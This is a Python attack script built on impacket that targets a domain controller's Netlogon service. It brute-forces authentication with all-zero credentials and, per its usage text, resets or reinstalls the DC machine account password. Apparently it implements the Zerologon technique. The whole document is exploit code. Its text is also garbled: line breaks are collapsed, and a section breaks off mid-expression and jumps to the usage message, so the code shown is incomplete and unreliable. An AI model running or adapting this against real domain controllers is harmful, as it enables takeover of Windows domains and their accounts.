#!/usr/bin/env python3 from impacket.dcerpc.v5 import nrpc, epm from impacket.dcerpc.v5.dtypes import NULL from impacket.dcerpc.v5 import transport from impacket import crypto from impacket.dcerpc.v5.ndr import NDRCALL import impacket import hmac, hashlib, struct, sys, socket, time from binascii import hexlify, unhexlify from subprocess import check_call from Cryptodome.Cipher import DES, AES, ARC4 from struct import pack, unpack # Give up brute-forcing after this many attempts. If vulnerable, 256 attempts are expected to be neccessary on average. MAX_ATTEMPTS = 2000 # False negative chance: 0.04% class NetrServerPasswordSet(nrpc.NDRCALL): opnum = 6 structure = ( ('PrimaryName',nrpc.PLOGONSRV_HANDLE), ('AccountName',nrpc.WSTR), ('SecureChannelType',nrpc.NETLOGON_SECURE_CHANNEL_TYPE), ('ComputerName',nrpc.WSTR), ('Authenticator',nrpc.NETLOGON_AUTHENTICATOR), ('UasNewPassword',nrpc.ENCRYPTED_NT_OWF_PASSWORD), ) class NetrServerPasswordSetResponse(nrpc.NDRCALL): structure = ( ('ReturnAuthenticator',nrpc.NETLOGON_AUTHENTICATOR), ('ErrorCode',nrpc.NTSTATUS), ) def fail(msg): print(msg, file=sys.stderr) print('This might have been caused by invalid arguments or network issues.', file=sys.stderr) sys.exit(2) def try_zero_authenticate(dc_handle, dc_ip, target_computer, originalpw): # Connect to the DC's Netlogon service. binding = epm.hept_map(dc_ip, nrpc.MSRPC_UUID_NRPC, protocol='ncacn_ip_tcp') rpc_con = transport.DCERPCTransportFactory(binding).get_dce_rpc() rpc_con.connect() rpc_con.bind(nrpc.MSRPC_UUID_NRPC) plaintext = b'\x00'*8 ciphertext = b'\x00'*8 flags = 0x212fffff # Send challenge and authentication request. serverChallengeResp = nrpc.hNetrServerReqChallenge(rpc_con, dc_handle + '\x00', target_computer + '\x00', plaintext) serverChallenge = serverChallengeResp['ServerChallenge'] try: server_auth = nrpc.hNetrServerAuthenticate3( rpc_con, dc_handle + '\x00', target_computer+"$\x00", nrpc.NETLOGON_SECURE_CHANNEL_TYPE.ServerSecureChannel, target_computer + '\x00', ciphertext, flags ) # It worked! assert server_auth['ErrorCode'] == 0 print() server_auth.dump() print("server challenge", serverChallenge) sessionKey = nrpc.ComputeSessionKeyAES(None,b'\x00'*8, serverChallenge, unhexlify("31d6cfe0d16ae931b73c59d7e0c089c0")) print("session key", sessionKey) try: IV=b'\x00'*16 #Crypt1 = AES.new(sessionKey, AES.MODE_CFB, IV) #serverCred = Crypt1.encrypt(serverChallenge) #print("server cred", serverCred) #clientCrypt = AES.new(sessionKey, AES.MODE_CFB, IV) #clientCred = clientCrypt.encrypt(b'\x00'*8) #print("client cred", clientCred) #timestamp_var = 10 #clientStoredCred = pack(' \n') print('Reinstalls a particular machine hash for the machine account on the target DC. Assumes the machine password has previously been reset to the empty string') print('Note: dc-name should be the (NetBIOS) computer name of the domain controller.') sys.exit(1) else: [_, dc_name, dc_ip, originalpw] = sys.argv dc_name = dc_name.rstrip('$') perform_attack('\\\\' + dc_name, dc_ip, dc_name, originalpw)